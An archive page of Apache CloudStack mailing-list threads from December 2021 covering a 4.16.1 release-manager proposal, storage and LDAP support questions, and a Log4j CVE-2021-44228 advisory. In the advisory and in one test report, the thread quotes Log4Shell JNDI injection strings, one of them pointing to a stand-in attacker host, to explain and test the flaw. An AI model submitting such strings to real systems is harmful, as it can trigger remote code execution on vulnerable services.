Re: [PROPOSE] RM for 4.16.1

2021-12-13 Thread Rohit Yadav
Sounds good to me, thanks for volunteering Suresh.

Regards.

From: Harikrishna Patnala 
Sent: Tuesday, December 14, 2021 9:34:43 AM
To: d...@cloudstack.apache.org ; 
users@cloudstack.apache.org 
Subject: Re: [PROPOSE] RM for 4.16.1

Thank you and good luck Suresh, Nicolas.

Regards,
Harikrishna

From: Suresh Anaparti 
Sent: Monday, December 13, 2021 6:39 PM
To: d...@cloudstack.apache.org 
Cc: users@cloudstack.apache.org 
Subject: [PROPOSE] RM for 4.16.1

Hi All,

I'd like to put myself forward as the release manager for 4.16.1.0. My 
colleague Nicolas Vazquez will support me as the co-RM for the PR 
reviews/tests/merges, and others are welcome to support as well.

I propose, we've a window of at least 8 weeks (2 months) to allow the community 
/ users to test 4.16.0.0 and report issues, and aim to cut RC1 in Q1 2022 (may 
be, in late Feb-2022, or early Mar-2022 onwards). I'll propose the timeline 
details by end of this week. I hope to have your support.

Please let me know if you have any thoughts / comments.


Regards,
Suresh







 



Re: [PROPOSE] RM for 4.16.1

2021-12-13 Thread Harikrishna Patnala
Thank you and good luck Suresh, Nicolas.

Regards,
Harikrishna

From: Suresh Anaparti 
Sent: Monday, December 13, 2021 6:39 PM
To: d...@cloudstack.apache.org 
Cc: users@cloudstack.apache.org 
Subject: [PROPOSE] RM for 4.16.1

Hi All,

I'd like to put myself forward as the release manager for 4.16.1.0. My 
colleague Nicolas Vazquez will support me as the co-RM for the PR 
reviews/tests/merges, and others are welcome to support as well.

I propose, we've a window of at least 8 weeks (2 months) to allow the community 
/ users to test 4.16.0.0 and report issues, and aim to cut RC1 in Q1 2022 (may 
be, in late Feb-2022, or early Mar-2022 onwards). I'll propose the timeline 
details by end of this week. I hope to have your support.

Please let me know if you have any thoughts / comments.


Regards,
Suresh




 



Re: Adding local datastore Vmware.

2021-12-13 Thread Harikrishna Patnala
Hi Abhishek,

The bug that you are referring to is related to resource tags (not host tags or 
storage tags).

We have to use host tags and storage tags in your case. Can you please try 
clicking the "Edit" action button on the UI and add host tags for the hosts and 
storage tags for the primary storage.

Thanks,
Harikrishna

From: Abishek 
Sent: Monday, December 13, 2021 7:51 PM
To: users@cloudstack.apache.org 
Subject: Re: Adding local datastore Vmware.

Hi HariKrishna,

Thanks for the reply. I did manage to add the local storage to the
> Cloudstack via Presetup storage under Primary Storage. That did the thing
> for me. I then created a tag for the Host and that particular storage so
> that the VM starts on the same host and local storage. Then I created a
> service offering with those particular host and storage tags. But I failed
> to start the VM. Tried multiple times but I get error of *insufficient
> capacity*. I think the issue is with the tags(from my understanding).  On
> looking for the tags for the stoarge I only saw  X= same as
> https://github.com/apache/cloudstack/issues/5727 But the issue mentioned
> in github only seems to be UI bug.


Thank You.

>


On Mon, 13 Dec 2021 at 17:26, Harikrishna Patnala <
harikrishna.patn...@shapeblue.com> wrote:

> Hi Abhishek,
>
> I get that you have already one local storage available in CS, so I assume
> the related zone setting for local storage is already enabled. I'm not sure
> if multiple local storages for a single host works or not but you can try
> restarting the management server so that host will try to reconnect and
> detect for any local storages available.
>
> Regards,
> Harikrishna
> 
> From: Abishek 
> Sent: Monday, December 6, 2021 7:47 PM
> To: users@cloudstack.apache.org 
> Subject: Adding local datastore Vmware.
>
> Hello All,
>
> I am currently testing cloudstack 4.16 with vmware vsphere7.0.
> Installation has succeeded and everything is working fine. In my setup I
> have used Raid 1 setup to install ESXI and I have also setup another local
> datastore with RAID 5 setup i.e I have 2 local storage (datastore1 contains
> ESXI and datastore2 i.e. with Raid 5 setup). How can I make
> cloudstack aware of both local storage. How can I run  a Vm in my second
> datastore i.e. datastore2. All my host have same configuration.
>
> Thank You.
>
>
>
>

 



Re: Select storage location of Snapshots

2021-12-13 Thread Daan Hoogland
sure Mauro, will do (if I can think of further improvents)

On Mon, Dec 13, 2021 at 3:32 PM Mauro Ferraro - G2K Hosting <
mferr...@g2khosting.com> wrote:

> Thank you Daan,
>
> We've just add the feature request.
>
> https://github.com/apache/cloudstack/issues/5770
>
> Please feel free to add or modify the idea so we can get the best
> feature all togheter.
>
> El 13/12/2021 a las 06:29, Daan Hoogland escribió:
> > Mauro,
> > you can't at the moment, but it sounds like a good feature request. Can
> you
> > formulate that in github?
> > https://github.com/apache/cloudstack/issues/new/choose
> >
> > On Tue, Nov 30, 2021 at 4:46 PM Mauro Ferraro - G2K Hosting <
> > mferr...@g2khosting.com> wrote:
> >
> >> Hi guys, how are you?.
> >>
> >> We are trying to setup a new cluster with 4.16 and we want to know if
> >> there is a way to select the snapshots location. Now in previous
> >> versions of ACS we have 2 secondary storages and the location of
> >> snapshots and templates are random, in fact, we have the problem that in
> >> 1 secondary storage there isnt enough space and ACS tries to save
> >> snapshots there.
> >>
> >> There is a way in ACS 4.16 to select where to save snapshots or
> >> templates?. So for example, we can setup one or more exclusive secondary
> >> storage for snapshots and others for templaes and  isos.
> >>
> >> Thank you very much!
> >>
> >> Mauro
> >>
> >>
>


-- 
Daan


Re: Select storage location of Snapshots

2021-12-13 Thread Mauro Ferraro - G2K Hosting

Thank you Daan,

We've just add the feature request.

https://github.com/apache/cloudstack/issues/5770

Please feel free to add or modify the idea so we can get the best 
feature all togheter.


El 13/12/2021 a las 06:29, Daan Hoogland escribió:

Mauro,
you can't at the moment, but it sounds like a good feature request. Can you
formulate that in github?
https://github.com/apache/cloudstack/issues/new/choose

On Tue, Nov 30, 2021 at 4:46 PM Mauro Ferraro - G2K Hosting <
mferr...@g2khosting.com> wrote:


Hi guys, how are you?.

We are trying to setup a new cluster with 4.16 and we want to know if
there is a way to select the snapshots location. Now in previous
versions of ACS we have 2 secondary storages and the location of
snapshots and templates are random, in fact, we have the problem that in
1 secondary storage there isnt enough space and ACS tries to save
snapshots there.

There is a way in ACS 4.16 to select where to save snapshots or
templates?. So for example, we can setup one or more exclusive secondary
storage for snapshots and others for templaes and  isos.

Thank you very much!

Mauro




Re: Adding local datastore Vmware.

2021-12-13 Thread Abishek
Hi HariKrishna,

Thanks for the reply. I did manage to add the local storage to the
> Cloudstack via Presetup storage under Primary Storage. That did the thing
> for me. I then created a tag for the Host and that particular storage so
> that the VM starts on the same host and local storage. Then I created a
> service offering with those particular host and storage tags. But I failed
> to start the VM. Tried multiple times but I get error of *insufficient
> capacity*. I think the issue is with the tags(from my understanding).  On
> looking for the tags for the stoarge I only saw  X= same as
> https://github.com/apache/cloudstack/issues/5727 But the issue mentioned
> in github only seems to be UI bug.


Thank You.

>


On Mon, 13 Dec 2021 at 17:26, Harikrishna Patnala <
harikrishna.patn...@shapeblue.com> wrote:

> Hi Abhishek,
>
> I get that you have already one local storage available in CS, so I assume
> the related zone setting for local storage is already enabled. I'm not sure
> if multiple local storages for a single host works or not but you can try
> restarting the management server so that host will try to reconnect and
> detect for any local storages available.
>
> Regards,
> Harikrishna
> 
> From: Abishek 
> Sent: Monday, December 6, 2021 7:47 PM
> To: users@cloudstack.apache.org 
> Subject: Adding local datastore Vmware.
>
> Hello All,
>
> I am currently testing cloudstack 4.16 with vmware vsphere7.0.
> Installation has succeeded and everything is working fine. In my setup I
> have used Raid 1 setup to install ESXI and I have also setup another local
> datastore with RAID 5 setup i.e I have 2 local storage (datastore1 contains
> ESXI and datastore2 i.e. with Raid 5 setup). How can I make
> cloudstack aware of both local storage. How can I run  a Vm in my second
> datastore i.e. datastore2. All my host have same configuration.
>
> Thank You.
>
>
>
>


[PROPOSE] RM for 4.16.1

2021-12-13 Thread Suresh Anaparti
Hi All,

I'd like to put myself forward as the release manager for 4.16.1.0. My 
colleague Nicolas Vazquez will support me as the co-RM for the PR 
reviews/tests/merges, and others are welcome to support as well.

I propose, we've a window of at least 8 weeks (2 months) to allow the community 
/ users to test 4.16.0.0 and report issues, and aim to cut RC1 in Q1 2022 (may 
be, in late Feb-2022, or early Mar-2022 onwards). I'll propose the timeline 
details by end of this week. I hope to have your support.

Please let me know if you have any thoughts / comments.


Regards,
Suresh

 



Support for MySQL Galera

2021-12-13 Thread Pieter Harvey

Hello,So doing some testing in order to run multiple management servers, and 
testing so far seems to fail. Is the cloudstack-setup-management command (and 
it's child scripts) compatible with MySQL 8.0 but in a multi-master Galera 
cluster (synchronous)? Anyone use galera on their management nodes?Patched 
MySQL obtained from galeracluster.com-Pieter

Re: How to control resource limits when account is linked to LDAP?

2021-12-13 Thread Jorge Luiz Correa
Thank you Daan !

I was looking in the wrong place. If I go to Domains, click the account
name and look at Resources everything is being correctly updated.

Tks!!

Em seg., 13 de dez. de 2021 às 06:17, Daan Hoogland 
escreveu:

> Jorge,
> It seems like a bug as you describe it, but maybe you are looking at the
> wrong figures. When you try to create more resources than the total account
> limit, do they still get created? If so, please log a bug at
> https://github.com/apache/cloudstack/issues/new/choose
>
> On Mon, Nov 22, 2021 at 8:22 PM Jorge Luiz Correa
>  wrote:
>
> > When we have an account UserA with a user UserA inside it, we can see and
> > control usage limits configuring the UserA "account".
> >
> > I'm testing the link accounttoldap feature.
> >
> > cmk -p ad...@www.hpc link accounttoldap account='DomainAdmins'
> > accounttype=2 ldapdomain='cn=cs_hpc_domain_admins,ou=grupos,...'
> type=GROUP
> > domainid=$DOMAINUD
> > cmk -p ad...@www.hpc link accounttoldap account='Users' accounttype=0
> > ldapdomain='cn=cs_hpc_users,ou=grupos,...' type=GROUP domainid=$DOMAINUD
> >
> > So, I got two accounts: DomainAdmins and Users. Each user in
> > cs_hpc_domain_admins LDAP group is created as a user inside DomainAdmins
> > account and each user in cs_hpc_users is created as a user inside Users
> > account.
> >
> > Both DomainAdmins and Users accounts have resource limits configured
> (like
> > UserA).  But, when users create virtual machines these limits don't
> change!
> > I can't define limits to users inside accounts, only to accounts. So, I
> > couldn't find a way to limit usage when accounts are linked to LDAP
> groups.
> >
> > I was hoping that all the resources created by all the users inside the
> > account would be discounted from the limits of the account. But the
> account
> > total usage never changes.
> >
> > Am I doing something wrong or this is a bug?
> >
> > CloudStack 4.15.2.0
> >
> > Tks!
> >
> > --
> > Jorge Luiz Corrêa
> > Embrapa Agricultura Digital
> >
> > echo "CkpvcmdlIEx1aXogQ29ycmVhCkFu
> > YWxpc3RhIGRlIFJlZGVzIGUgU2VndXJhbm
> > NhCkVtYnJhcGEgQWdyaWN1bHR1cmEgRGln
> > aXRhbCAtIE5USQpBdi4gQW5kcmUgVG9zZW
> > xsbywgMjA5IChCYXJhbyBHZXJhbGRvKQpD
> > RVAgMTMwODMtODg2IC0gQ2FtcGluYXMsIF
> > NQClRlbGVmb25lOiAoMTkpIDMyMTEtNTg4
> > Mgpqb3JnZS5sLmNvcnJlYUBlbWJyYXBhLm
> > JyCgo="|base64 -d
> >
> > --
> > __
> > Aviso de confidencialidade
> >
> > Esta mensagem da
> > Empresa  Brasileira de Pesquisa  Agropecuaria (Embrapa), empresa publica
> > federal  regida pelo disposto  na Lei Federal no. 5.851,  de 7 de
> dezembro
> > de 1972,  e  enviada exclusivamente  a seu destinatario e pode conter
> > informacoes  confidenciais, protegidas  por sigilo profissional.  Sua
> > utilizacao desautorizada  e ilegal e  sujeita o infrator as penas da lei.
> > Se voce  a recebeu indevidamente, queira, por gentileza, reenvia-la ao
> > emitente, esclarecendo o equivoco.
> >
> > Confidentiality note
> >
> > This message from
> > Empresa  Brasileira de Pesquisa  Agropecuaria (Embrapa), a government
> > company  established under  Brazilian law (5.851/72), is directed
> > exclusively to  its addressee  and may contain confidential data,
> > protected under  professional secrecy  rules. Its unauthorized  use is
> > illegal and  may subject the transgressor to the law's penalties. If you
> > are not the addressee, please send it back, elucidating the failure.
> >
>
>
> --
> Daan
>

-- 
__
Aviso de confidencialidade

Esta mensagem da 
Empresa  Brasileira de Pesquisa  Agropecuaria (Embrapa), empresa publica 
federal  regida pelo disposto  na Lei Federal no. 5.851,  de 7 de dezembro 
de 1972,  e  enviada exclusivamente  a seu destinatario e pode conter 
informacoes  confidenciais, protegidas  por sigilo profissional.  Sua 
utilizacao desautorizada  e ilegal e  sujeita o infrator as penas da lei. 
Se voce  a recebeu indevidamente, queira, por gentileza, reenvia-la ao 
emitente, esclarecendo o equivoco.

Confidentiality note

This message from 
Empresa  Brasileira de Pesquisa  Agropecuaria (Embrapa), a government 
company  established under  Brazilian law (5.851/72), is directed 
exclusively to  its addressee  and may contain confidential data,  
protected under  professional secrecy  rules. Its unauthorized  use is 
illegal and  may subject the transgressor to the law's penalties. If you 
are not the addressee, please send it back, elucidating the failure.


Re: Adding local datastore Vmware.

2021-12-13 Thread Harikrishna Patnala
Hi Abhishek,

I get that you have already one local storage available in CS, so I assume the 
related zone setting for local storage is already enabled. I'm not sure if 
multiple local storages for a single host works or not but you can try 
restarting the management server so that host will try to reconnect and detect 
for any local storages available.

Regards,
Harikrishna

From: Abishek 
Sent: Monday, December 6, 2021 7:47 PM
To: users@cloudstack.apache.org 
Subject: Adding local datastore Vmware.

Hello All,

I am currently testing cloudstack 4.16 with vmware vsphere7.0.
Installation has succeeded and everything is working fine. In my setup I
have used Raid 1 setup to install ESXI and I have also setup another local
datastore with RAID 5 setup i.e I have 2 local storage (datastore1 contains
ESXI and datastore2 i.e. with Raid 5 setup). How can I make
cloudstack aware of both local storage. How can I run  a Vm in my second
datastore i.e. datastore2. All my host have same configuration.

Thank You.

 



Re: Log4j in Cloudstack

2021-12-13 Thread Rohit Yadav
Hi Serge,

We've just posted the advisory which refers to log4j developer's note and slf4j 
project advisory. In addition, I performed the following test:

1. To test log4j RCE/CVE I found a resource whose name is printed by a logger, 
such as:
https://github.com/apache/cloudstack/blob/main/server/src/main/java/org/apache/cloudstack/affinity/AffinityGroupServiceImpl.java#L164

2. I created the resource, an affinity group with name 
"${jndi:ldap://192.168.1.10/a}" and tailed my webserver 
running on 192.168.1.10. The following was in CloudStack logs:
2021-12-11 08:39:46,265 DEBUG [o.a.c.a.AffinityGroupServiceImpl] 
(qtp1263668904-12808:ctx-d26b3d51 ctx-618e7d31) (logid:19557a1b) Created 
affinity group =${jndi:ldap://192.168.1.10/a}

However, the webserver logs has no error or access requests on /a path

3. Upon unzipping the 4.15.2 and 4.16.0 mgmt server jars, I didn't find the 
Jndi lookup class:
root@cloudpi:/usr/share/cloudstack-management/lib/tmp# find . | grep JndiLookup
./org/springframework/ejb/config/JndiLookupBeanDefinitionParser.class
./org/springframework/jndi/JndiLookupFailureException.class


Regards.


From: Bs Serge 
Sent: Monday, December 13, 2021 15:17
To: users@cloudstack.apache.org 
Subject: Re: Log4j in Cloudstack

Daan,
Thanks for the update, I can see the default log4j configuration uses
1.2.27 :


1.2.17
1.2.17
1.1.1

We'll be waiting for the official statement.

Best Regards,

On Mon, Dec 13, 2021 at 11:12 AM Daan Hoogland 
wrote:

> Serge,
> A official statement should be coming out soon, but I think it is safe to
> say the ACS is not impacted, for sure with the default log4j configuration.
> The version we use is not impacted. A colleague PMC member did an exploit
> attempt and showed it failing. If you are unsure [1] describes what we feel
> is applicable to Cloudstack as well..
>
> [1] http://slf4j.org/log4shell.html
>

 

> On Mon, Dec 13, 2021 at 9:55 AM Bs Serge  wrote:
>
> > Hi all,
> >
> > I’m sure all of you are aware of what’s going with the Log4j security
> > vulnerability, If not then :
> >
> > - https://www.wired.com/story/log4j-flaw-hacking-internet/
> > -
> >
> >
> https://logging-apache-org.translate.goog/log4j/2.x/security.html?_x_tr_sl=de&_x_tr_tl=en&_x_tr_hl=en-US
> >
> > So some of us are wondering :
> >
> > Does it affect some versions of the management server installation? and
> > What can one do to make sure that they are safe from this vulnerability?
> >
> > Best Regards,
> >
>
>
> --
> Daan
>


[ADVISORY] CloudStack Advisory on Apache Log4j Zero Day (CVE-2021-44228)

2021-12-13 Thread Rohit Yadav
On 9th December 2021, a new zero-day vulnerability for Apache Log4j
was reported. It is by now tracked under CVE-2021-44228:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228.

CVE-2021-44228 vulnerability is classified under the highest severity
mark and allows an attacker to execute arbitrary code by injecting a
sub-string in the form "${jndi:ldap://some.attacker-controlled.site/};
into a logged message. Apache Log4j 2.x is reported to be affected as
it performs a lookup (string substitution) using the JNDI protocol,
whenever the "${jndi:...}" string is found within a message parameter.

The Apache Log4j developers [1] and the SLF4J project [2] advisory
confirm that Apache Log4j 1.x does not offer a look-up mechanism and
does not suffer remote code execution (RCE) vulnerability from
CVE-2021-44228.

All Apache CloudStack releases since v4.6 use Apache Log4j version
1.2.17 and therefore are not affected by this RCE vulnerability. Most
users who haven't changed the default log4j xml config don't need to
do anything, advanced users can check and fix their log4j xml
configuration if they're using any custom JMS appenders.

The Apache CloudStack project will consider migrating to a different
version of Apache Log4j in future releases.

[1] https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126
[2] http://slf4j.org/log4shell.html

--


[ADVISORY] CloudStack Advisory on Apache Log4j Zero Day (CVE-2021-44228)

2021-12-13 Thread Rohit Yadav
On 9th December 2021, a new zero-day vulnerability for Apache Log4j
was reported. It is by now tracked under CVE-2021-44228:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228.

CVE-2021-44228 vulnerability is classified under the highest severity
mark and allows an attacker to execute arbitrary code by injecting a
sub-string in the form "${jndi:ldap://some.attacker-controlled.site/};
into a logged message. Apache Log4j 2.x is reported to be affected as
it performs a lookup (string substitution) using the JNDI protocol,
whenever the "${jndi:...}" string is found within a message parameter.

The Apache Log4j developers [1] and the SLF4J project [2] advisory
confirm that Apache Log4j 1.x does not offer a look-up mechanism and
does not suffer remote code execution (RCE) vulnerability from
CVE-2021-44228.

All Apache CloudStack releases since v4.6 use Apache Log4j version
1.2.17 and therefore are not affected by this RCE vulnerability. Most
users who haven't changed the default log4j xml config don't need to
do anything, advanced users can check and fix their log4j xml
configuration if they're using any custom JMS appenders.

The Apache CloudStack project will consider migrating to a different
version of Apache Log4j in future releases.

[1] https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126
[2] http://slf4j.org/log4shell.html

--


Re: Log4j in Cloudstack

2021-12-13 Thread Bs Serge
Daan,
Thanks for the update, I can see the default log4j configuration uses
1.2.27 :


1.2.17
1.2.17
1.1.1

We'll be waiting for the official statement.

Best Regards,

On Mon, Dec 13, 2021 at 11:12 AM Daan Hoogland 
wrote:

> Serge,
> A official statement should be coming out soon, but I think it is safe to
> say the ACS is not impacted, for sure with the default log4j configuration.
> The version we use is not impacted. A colleague PMC member did an exploit
> attempt and showed it failing. If you are unsure [1] describes what we feel
> is applicable to Cloudstack as well..
>
> [1] http://slf4j.org/log4shell.html
>
> On Mon, Dec 13, 2021 at 9:55 AM Bs Serge  wrote:
>
> > Hi all,
> >
> > I’m sure all of you are aware of what’s going with the Log4j security
> > vulnerability, If not then :
> >
> > - https://www.wired.com/story/log4j-flaw-hacking-internet/
> > -
> >
> >
> https://logging-apache-org.translate.goog/log4j/2.x/security.html?_x_tr_sl=de&_x_tr_tl=en&_x_tr_hl=en-US
> >
> > So some of us are wondering :
> >
> > Does it affect some versions of the management server installation? and
> > What can one do to make sure that they are safe from this vulnerability?
> >
> > Best Regards,
> >
>
>
> --
> Daan
>


Re: Select storage location of Snapshots

2021-12-13 Thread Daan Hoogland
Mauro,
you can't at the moment, but it sounds like a good feature request. Can you
formulate that in github?
https://github.com/apache/cloudstack/issues/new/choose

On Tue, Nov 30, 2021 at 4:46 PM Mauro Ferraro - G2K Hosting <
mferr...@g2khosting.com> wrote:

> Hi guys, how are you?.
>
> We are trying to setup a new cluster with 4.16 and we want to know if
> there is a way to select the snapshots location. Now in previous
> versions of ACS we have 2 secondary storages and the location of
> snapshots and templates are random, in fact, we have the problem that in
> 1 secondary storage there isnt enough space and ACS tries to save
> snapshots there.
>
> There is a way in ACS 4.16 to select where to save snapshots or
> templates?. So for example, we can setup one or more exclusive secondary
> storage for snapshots and others for templaes and  isos.
>
> Thank you very much!
>
> Mauro
>
>

-- 
Daan


Re: Change Boot Order in Instance

2021-12-13 Thread Daan Hoogland
you can try boot-into-bios and change the boot order there.

On Thu, Nov 25, 2021 at 11:29 AM Дикевич Евгений Александрович <
evgeniy.dikev...@becloud.by> wrote:

> Hi all!
>
> CS 4.16 + XCP-NG 8.2
>
> MB someone try to change boot order in instance? I want to boot from iso
> in already deployed instance.
> How I can do it?
>
>
>
> Внимание!
> Это электронное письмо и все прикрепленные к нему файлы являются
> конфиденциальными и предназначены исключительно для использования лицом
> (лицами), которому (которым) оно предназначено. Если Вы не являетесь лицом
> (лицами), которому (которым) предназначено это письмо, не копируйте и не
> разглашайте его содержимое и удалите это сообщение и все вложения из Вашей
> почтовой системы. Любое несанкционированное использование, распространение,
> раскрытие, печать или копирование этого электронного письма и прикрепленных
> к нему файлов, кроме как лицом (лицами) которому (которым) они
> предназначены, является незаконным и запрещено. Принимая во внимание, что
> передача данных посредством Интернет не является безопасной, мы не несем
> никакой ответственности за любой потенциальный ущерб, причиненный в
> результате ошибок при передаче данных или этим сообщением и прикрепленными
> к нему файлами.
>
> Attention!
> This email and all attachments to it are confidential and are intended
> solely for use by the person (or persons) referred to (mentioned) as the
> intended recipient (recipients). If you are not the intended recipient of
> this email, do not copy or disclose its contents and delete the message and
> any attachments to it from your e-mail system. Any unauthorized use,
> dissemination, disclosure, printing or copying of this e-mail and files
> attached to it, except by the intended recipient, is illegal and is
> prohibited. Taking into account that data transmission via Internet is not
> secure, we assume no responsibility for any potential damage caused by data
> transmission errors or this message and the files attached to it.
>


-- 
Daan


Re: configdrive not working in 4.16

2021-12-13 Thread Daan Hoogland
I think `this QEMU binary` is the key phrase here, Piotr.

On Tue, Nov 23, 2021 at 9:51 AM Piotr Pisz  wrote:

> Hi Wei,
>
> Unfortunately, neither systemvm, nor any other vm, is starting due to the
> message: libvirt.LibvirtException: unsupported configuration: io uring is
> not supported by this QEMU binary
>
> In one LAB I have a custom kernel: 5.4.129-1.el8.elrepo.x86_64 and
> libvirtd (libvirt) 7.6.0 with qemu 6.0.0 (CentOS 8.5 with advanced
> virtualization repo)
>
> But in the second, it comes with the system: 4.18.0-240.22.1.el8_3.x86_64
> and libvirtd (libvirt) 7.0.0 with qemu-kvm-5.2.0-16.el8 (CentOS 8.2), error
> is in both
>
> IO uring works on host:
>
> root@psc1 /h/piotr# grep io_uring_setup /proc/kallsyms
> a274a090 t io_uring_setup
> a274a150 T __x64_sys_io_uring_setup
> a274a170 T __ia32_sys_io_uring_setup
> a38ff720 d event_exit__io_uring_setup
> a38ff7c0 d event_enter__io_uring_setup
> a38ff860 d __syscall_meta__io_uring_setup
> a38ff8a0 d args__io_uring_setup
> a38ff8b0 d types__io_uring_setup
> a3fd8658 t __event_exit__io_uring_setup
> a3fd8660 t __event_enter__io_uring_setup
> a3fda4b0 t __p_syscall_meta__io_uring_setup
> a3fddd20 t _eil_addr___ia32_sys_io_uring_setup
> a3fddd30 t _eil_addr___x64_sys_io_uring_setup
>
> I don't know what to do with it yet.
>
> Regards,
> Piotr
>
>
>
> -Original Message-
> From: Wei ZHOU 
> Sent: Tuesday, November 23, 2021 9:13 AM
> To: users ; pi...@piszki.pl
> Subject: Re: configdrive not working in 4.16
>
> Hi Piotr,
>
> Could you please check if all your management servers, cloudstack agents,
> and system vms (SSVM/CPVM) are running with 4.16.0.0 ?
> It's mostly like your SSVM is not 4.16.0.0.
> When processing HandleConfigDriveIsoCommand, SSVM with the old version
> returns Answer (not HandleConfigDriveIsoAnswer).
>
> -Wei
>
>
> On Mon, 22 Nov 2021 at 10:25, Piotr Pisz  wrote:
>
> > Hi Daan,
> >
> > Unfortunately, I couldn't deal with this problem and withdrawn the
> changes.
> > I have two LAB environments, both behaved the same. In one, MGMT is
> > installed on Ubuntu 20, in the other, on CentOS 8, in both cases the
> > KVM is CentOS 8.4/8.5
> >
> > On CentOS 8:
> > openjdk version "11.0.13" 2021-10-19 LTS OpenJDK Runtime Environment
> > 18.9 (build 11.0.13+8-LTS) OpenJDK 64-Bit Server VM 18.9 (build
> > 11.0.13+8-LTS, mixed mode, sharing)
> >
> > Packages downloaded from official page.
> >
> > I also found a problem with tags, after the upgrade I was not able to
> > add new tags with UI, old tags (added with legacy client) in primary /
> > secondary storage were not displayed correctly.
> > Right now I am building a LAB with version 4.16, I need a clean DB to
> > compare.
> >
> > Regards,
> > Piotr
> >
> >
> > -Original Message-
> > From: Daan Hoogland 
> > Sent: Monday, November 22, 2021 9:17 AM
> > To: users ; pi...@piszki.pl
> > Subject: Re: configdrive not working in 4.16
> >
> > Piotr,
> > have you gotten anywhere with this?
> > the IPMI exception seems unrelated,
> > and the class cast exceptions seem to me to be a java version issue?
> > can you give the versions of relevant platform version? (at least os,
> > jvm) Have you built yourself or downloaded any package?
> >
> > On Wed, Nov 17, 2021 at 3:27 PM Piotr Pisz  wrote:
> >
> > >
> > >
> > > Hi,
> > >
> > > I have upgraded to 4.16 and am having trouble booting my VM on L2
> > > network with ConfigDrive. I would have a request for help.
> > >
> > >
> > >
> > > Regards,
> > >
> > > Piotr
> > >
> > >
> > >
> > >
> > >
> > >
> > >
> > > 2021-11-17 14:47:27,229 DEBUG [c.c.c.CapacityManagerImpl]
> > > (Work-Job-Executor-1:ctx-16dd5098 job-4912/job-4915 ctx-e883b663)
> > > (logid:b59e4ee2) Hosts's actual total CPU: 31200 and CPU after
> > > applying
> > > overprovisioning: 31200
> > >
> > > 2021-11-17 14:47:27,230 DEBUG [c.c.c.CapacityManagerImpl]
> > > (Work-Job-Executor-1:ctx-16dd5098 job-4912/job-4915 ctx-e883b663)
> > > (logid:b59e4ee2) We are allocating VM, increasing the used capacity
> > > of this
> > > host:1
> > >
> > > 2021-11-17 14:47:27,231 DEBUG [c.c.c.CapacityManagerImpl]
> > > (Work-Job-Executor-1:ctx-16dd5098 job-4912/job-4915 ctx-e883b663)
> > > (logid:b59e4ee2) Current Used CPU: 0 , Free CPU:27300 ,Requested CPU:
> > > 3900
> > >
> > > 2021-11-17 14:47:27,232 DEBUG [c.c.c.CapacityManagerImpl]
> > > (Work-Job-Executor-1:ctx-16dd5098 job-4912/job-4915 ctx-e883b663)
> > > (logid:b59e4ee2) Current Used RAM: (0 bytes) 0 , Free RAM:(57,66 GB)
> > > 61916983296 ,Requested RAM: (4,00 GB) 4294967296
> > >
> > > 2021-11-17 14:47:27,232 DEBUG [c.c.c.CapacityManagerImpl]
> > > (Work-Job-Executor-1:ctx-16dd5098 job-4912/job-4915 ctx-e883b663)
> > > (logid:b59e4ee2) We are allocating VM to the last host again, so
> > > adjusting the reserved capacity if it is not less than required
> > >
> > > 2021-11-17 14:47:27,232 DEBUG [c.c.c.CapacityManagerImpl]
> > > 

Re: How to control resource limits when account is linked to LDAP?

2021-12-13 Thread Daan Hoogland
Jorge,
It seems like a bug as you describe it, but maybe you are looking at the
wrong figures. When you try to create more resources than the total account
limit, do they still get created? If so, please log a bug at
https://github.com/apache/cloudstack/issues/new/choose

On Mon, Nov 22, 2021 at 8:22 PM Jorge Luiz Correa
 wrote:

> When we have an account UserA with a user UserA inside it, we can see and
> control usage limits configuring the UserA "account".
>
> I'm testing the link accounttoldap feature.
>
> cmk -p ad...@www.hpc link accounttoldap account='DomainAdmins'
> accounttype=2 ldapdomain='cn=cs_hpc_domain_admins,ou=grupos,...' type=GROUP
> domainid=$DOMAINUD
> cmk -p ad...@www.hpc link accounttoldap account='Users' accounttype=0
> ldapdomain='cn=cs_hpc_users,ou=grupos,...' type=GROUP domainid=$DOMAINUD
>
> So, I got two accounts: DomainAdmins and Users. Each user in
> cs_hpc_domain_admins LDAP group is created as a user inside DomainAdmins
> account and each user in cs_hpc_users is created as a user inside Users
> account.
>
> Both DomainAdmins and Users accounts have resource limits configured (like
> UserA).  But, when users create virtual machines these limits don't change!
> I can't define limits to users inside accounts, only to accounts. So, I
> couldn't find a way to limit usage when accounts are linked to LDAP groups.
>
> I was hoping that all the resources created by all the users inside the
> account would be discounted from the limits of the account. But the account
> total usage never changes.
>
> Am I doing something wrong or this is a bug?
>
> CloudStack 4.15.2.0
>
> Tks!
>
> --
> Jorge Luiz Corrêa
> Embrapa Agricultura Digital
>
> echo "CkpvcmdlIEx1aXogQ29ycmVhCkFu
> YWxpc3RhIGRlIFJlZGVzIGUgU2VndXJhbm
> NhCkVtYnJhcGEgQWdyaWN1bHR1cmEgRGln
> aXRhbCAtIE5USQpBdi4gQW5kcmUgVG9zZW
> xsbywgMjA5IChCYXJhbyBHZXJhbGRvKQpD
> RVAgMTMwODMtODg2IC0gQ2FtcGluYXMsIF
> NQClRlbGVmb25lOiAoMTkpIDMyMTEtNTg4
> Mgpqb3JnZS5sLmNvcnJlYUBlbWJyYXBhLm
> JyCgo="|base64 -d
>
> --
> __
> Aviso de confidencialidade
>
> Esta mensagem da
> Empresa  Brasileira de Pesquisa  Agropecuaria (Embrapa), empresa publica
> federal  regida pelo disposto  na Lei Federal no. 5.851,  de 7 de dezembro
> de 1972,  e  enviada exclusivamente  a seu destinatario e pode conter
> informacoes  confidenciais, protegidas  por sigilo profissional.  Sua
> utilizacao desautorizada  e ilegal e  sujeita o infrator as penas da lei.
> Se voce  a recebeu indevidamente, queira, por gentileza, reenvia-la ao
> emitente, esclarecendo o equivoco.
>
> Confidentiality note
>
> This message from
> Empresa  Brasileira de Pesquisa  Agropecuaria (Embrapa), a government
> company  established under  Brazilian law (5.851/72), is directed
> exclusively to  its addressee  and may contain confidential data,
> protected under  professional secrecy  rules. Its unauthorized  use is
> illegal and  may subject the transgressor to the law's penalties. If you
> are not the addressee, please send it back, elucidating the failure.
>


-- 
Daan


Re: Log4j in Cloudstack

2021-12-13 Thread Daan Hoogland
Serge,
A official statement should be coming out soon, but I think it is safe to
say the ACS is not impacted, for sure with the default log4j configuration.
The version we use is not impacted. A colleague PMC member did an exploit
